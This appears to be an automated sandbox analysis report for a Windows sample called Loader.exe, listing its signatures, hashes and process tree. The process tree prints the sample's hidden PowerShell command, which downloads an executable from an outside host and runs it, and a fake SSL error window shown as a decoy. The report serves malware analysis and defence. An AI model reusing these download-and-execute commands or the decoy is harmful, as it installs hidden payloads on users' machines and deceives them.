Overview

overview

8

Static

static

3

Loader.exe

windows10-2004-x64

8

Loader.exe

windows11-21h2-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    25/04/2026, 16:03

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General

  • Target
    Loader.exe
  • Size 992KB
  • Sample260425-thlstsft6n
  • SHA256 eb7afd8876e6bb47694dabe07f0844ad359b6072196e270972e532818eab94fc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecution

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK596507.exe; Start-Process -FilePath $env:TEMP\BK596507.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK596507.exe; Start-Process -FilePath $env:TEMP\BK596507.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK596507.exe; Start-Process -FilePath $env:TEMP\BK596507.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:2420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\system32\certutil.exe
          certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Loader.exe" MD5
          3⤵
            PID:1652
          • C:\Windows\system32\find.exe
            find /i /v "md5"
            3⤵
              PID:6092
            • C:\Windows\system32\find.exe
              find /i /v "certutil"
              3⤵
                PID:6064
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c start cmd /C "color b && title Error && echo CURL Error: SSL connect error && timeout /t 5"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5348
              • C:\Windows\system32\cmd.exe
                cmd /C "color b && title Error && echo CURL Error: SSL connect error && timeout /t 5"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3548
                • C:\Windows\system32\timeout.exe
                  timeout /t 5
                  4⤵
                  • Delays execution with timeout.exe
                  PID:5896

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                __PSScriptPolicyTest_v13wcnzz.pfx.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v13wcnzz.pfx.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                memory/1652-10-0x0000026BA8320000-0x0000026BA84BA000-memory.dmp
                Download

                memory/2600-0-0x0000019BB2B00000-0x0000019BB2B10000-memory.dmp
                Download

                memory/2600-1-0x0000019BB2B00000-0x0000019BB2B10000-memory.dmp
                Download

                memory/2600-7-0x0000019BCC9E0000-0x0000019BCCA02000-memory.dmp
                Download

                memory/2600-9-0x0000019BB2B00000-0x0000019BB2B10000-memory.dmp
                Download

                memory/2600-13-0x0000019BCC990000-0x0000019BCC9A2000-memory.dmp
                Download